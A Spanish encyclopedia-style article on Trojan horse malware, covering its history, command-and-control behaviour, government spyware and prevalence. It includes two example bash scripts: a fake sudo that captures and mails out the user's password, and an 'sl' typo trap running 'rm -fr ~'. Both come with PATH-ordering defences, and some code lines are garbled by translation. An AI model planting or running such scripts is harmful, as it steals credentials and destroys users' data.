En informática , un caballo de Troya (o simplemente troyano ) es cualquier malware que engaña a los usuarios sobre su verdadera intención al camuflarse como un programa estándar. El término se deriva de la antigua historia griega del engañoso Caballo de Troya que llevó a la caída de la ciudad de Troya . [1]
Los troyanos se propagan generalmente mediante alguna forma de ingeniería social . Por ejemplo, cuando se engaña a un usuario para que ejecute un archivo adjunto en un correo electrónico disfrazado para parecer inofensivo (por ejemplo, un formulario rutinario que debe completarse) o al hacer clic en un anuncio falso en las redes sociales o en cualquier otro lugar. Aunque su carga útil puede ser cualquier cosa, muchos formularios modernos actúan como una puerta trasera y se ponen en contacto con un controlador que luego puede tener acceso no autorizado al equipo afectado. [2] Los ataques de ransomware a menudo se llevan a cabo mediante un troyano.
A diferencia de los virus y gusanos informáticos , los troyanos generalmente no intentan inyectarse en otros archivos ni propagarse de otro modo. [3]
No está claro dónde o cuándo se utilizó por primera vez el concepto y este término para designarlo, pero en 1971 el primer manual de Unix asumió que sus lectores conocían ambos: [4]
Otra referencia temprana se encuentra en un informe de la Fuerza Aérea de Estados Unidos de 1974 sobre el análisis de la vulnerabilidad en los sistemas informáticos Multics . [5]
Ken Thompson lo popularizó en su discurso de aceptación del premio Turing de 1983 "Reflexiones sobre la confianza", [6] subtitulado: "¿Hasta qué punto se debe confiar en una afirmación de que un programa está libre de troyanos? Quizás sea más importante confiar en las personas que escribieron el software". Mencionó que sabía de la posible existencia de troyanos gracias a un informe sobre la seguridad de Multics. [7] [8]
Una vez instalados, los troyanos pueden realizar una serie de acciones maliciosas. Muchos tienden a ponerse en contacto con uno o más servidores de Comando y Control (C2) a través de Internet y aguardar instrucciones. Dado que los troyanos individuales suelen utilizar un conjunto específico de puertos para esta comunicación, puede ser relativamente sencillo detectarlos. Además, otro malware podría potencialmente "tomar el control" del troyano, utilizándolo como proxy para acciones maliciosas. [9]
En los países de habla alemana, el software espía utilizado o creado por el gobierno se denomina a veces govware . El govware es, por lo general, un software troyano que se utiliza para interceptar las comunicaciones del equipo de destino. Algunos países, como Suiza y Alemania, tienen un marco legal que rige el uso de este tipo de software. [10] [11] Entre los ejemplos de troyanos govware se incluyen los suizos MiniPanzer y MegaPanzer [12] y el "troyano estatal" alemán apodado R2D2 . [10] El govware alemán funciona explotando las brechas de seguridad desconocidas para el público en general y accediendo a los datos de los teléfonos inteligentes antes de que se encripten a través de otras aplicaciones. [13]
Debido a la popularidad de las botnets entre los hackers y a la disponibilidad de servicios de publicidad que permiten a los autores violar la privacidad de sus usuarios, los troyanos son cada vez más comunes. Según una encuesta realizada por BitDefender entre enero y junio de 2009, "el malware de tipo troyano está en aumento y representa el 83% del malware global detectado en el mundo". Los troyanos tienen una relación con los gusanos, ya que se propagan con la ayuda de los gusanos y viajan a través de Internet con ellos. [14] BitDefender ha declarado que aproximadamente el 15% de los ordenadores son miembros de una botnet, generalmente reclutados por una infección troyana. [15]
Investigaciones recientes han revelado que el método del caballo de Troya se ha utilizado como un ataque a los sistemas de computación en la nube . Un ataque de troyano a los sistemas en la nube intenta insertar una aplicación o servicio en el sistema que puede afectar a los servicios en la nube modificando o deteniendo las funcionalidades. Cuando el sistema en la nube identifica los ataques como legítimos, se ejecuta el servicio o la aplicación que puede dañar e infectar el sistema en la nube. [16]
Un troyano es un programa que pretende realizar alguna función legítima, pero al ejecutarse compromete la seguridad del usuario. [17] Un ejemplo simple es la siguiente versión maliciosa del comando sudo de Linux . Un atacante colocaría este script en un directorio de escritura pública (por ejemplo, /tmp
). Si un administrador se encuentra en este directorio y ejecuta sudo
, entonces el troyano puede ejecutarse, comprometiendo la contraseña del administrador.
#!/usr/bin/env bash# Desactiva el eco de caracteres en la pantalla. sudo hace esto para evitar que la contraseña del usuario aparezca en la pantalla cuando la escribe.
stty -echo# Solicitar al usuario la contraseña y luego leer la entrada. Para ocultar la naturaleza de esta versión maliciosa, haga esto 3 veces para imitar el comportamiento de sudo cuando un usuario ingresa la contraseña incorrecta. prompt_count = 1 while [ $prompt_count -le 3 ] ; do echo -n "[sudo] contraseña para $( whoami ) : " read password_input echo sleep 3 # sudo hará una pausa entre solicitudes repetidas prompt_count = $(( prompt_count + 1 )) done # Vuelve a activar el eco de caracteres.
stty echo echo $password_input | mail -s " contraseña de $( whoami ) " [email protected] # Muestra el mensaje de error actual de sudo y luego elimínalo. echo "sudo: 3 intentos de contraseña incorrectos"
rm $0 salida 1 # sudo devuelve 1 con un intento fallido de contraseña
Para evitar un sudo
caballo de Troya , configure la .
entrada en la PATH
variable de entorno para que se ubique en el extremo final. [18] Por ejemplo: PATH=/usr/local/bin:/usr/bin:.
.
Tener .
algún lugar en el PATH es conveniente, pero hay una trampa. [19] Otro ejemplo es la siguiente versión maliciosa del comando lsls
de Linux. Sin embargo, el nombre del archivo no es ; en su lugar, es sl
. Un atacante colocaría este script en un directorio de escritura pública (por ejemplo, /tmp
).
#!/usr/bin/env bash# Elimina el directorio de inicio del usuario y luego elimínate a ti mismo.
rm -fr ~ 2 >/dev/null $0 de
rm
Para evitar que un programador malintencionado anticipe este error tipográfico común:
.
en la RUTA oalias sl=ls
[a]El término informático "caballo de Troya" deriva del legendario Caballo de Troya de la antigua ciudad de Troya . Por este motivo, "troyano" suele escribirse con mayúscula. Sin embargo, aunque las guías de estilo y los diccionarios difieren, muchos sugieren escribir "troyano" con minúscula para un uso normal. [30] [31]
Los soldados griegos, incapaces de penetrar las defensas de la ciudad de Troya durante una guerra que duró años, presentaron a la ciudad una ofrenda de paz consistente en un gran caballo de madera.
Además, no se puede cambiar el propietario de un archivo con el bit de identificación de usuario activado, de lo contrario se podrían crear caballos de Troya capaces de hacer un mal uso de los archivos de otros.
El troyano mencionado anteriormente solo funciona si la RUTA del usuario está configurada para buscar comandos en el directorio actual antes de buscar en los directorios del sistema.
[S]i eres un mecanógrafo torpe y algún día escribes "sl -l" en lugar de "ls -l", corres el riesgo de ejecutar "./sl", si es que hay alguno. Algún programador "inteligente" podría anticipar errores de mecanografía comunes y dejar programas con esos nombres dispersos por directorios públicos. Ten cuidado.
{{cite web}}
: CS1 maint: unfit URL (link)alias
declaración en /etc/profile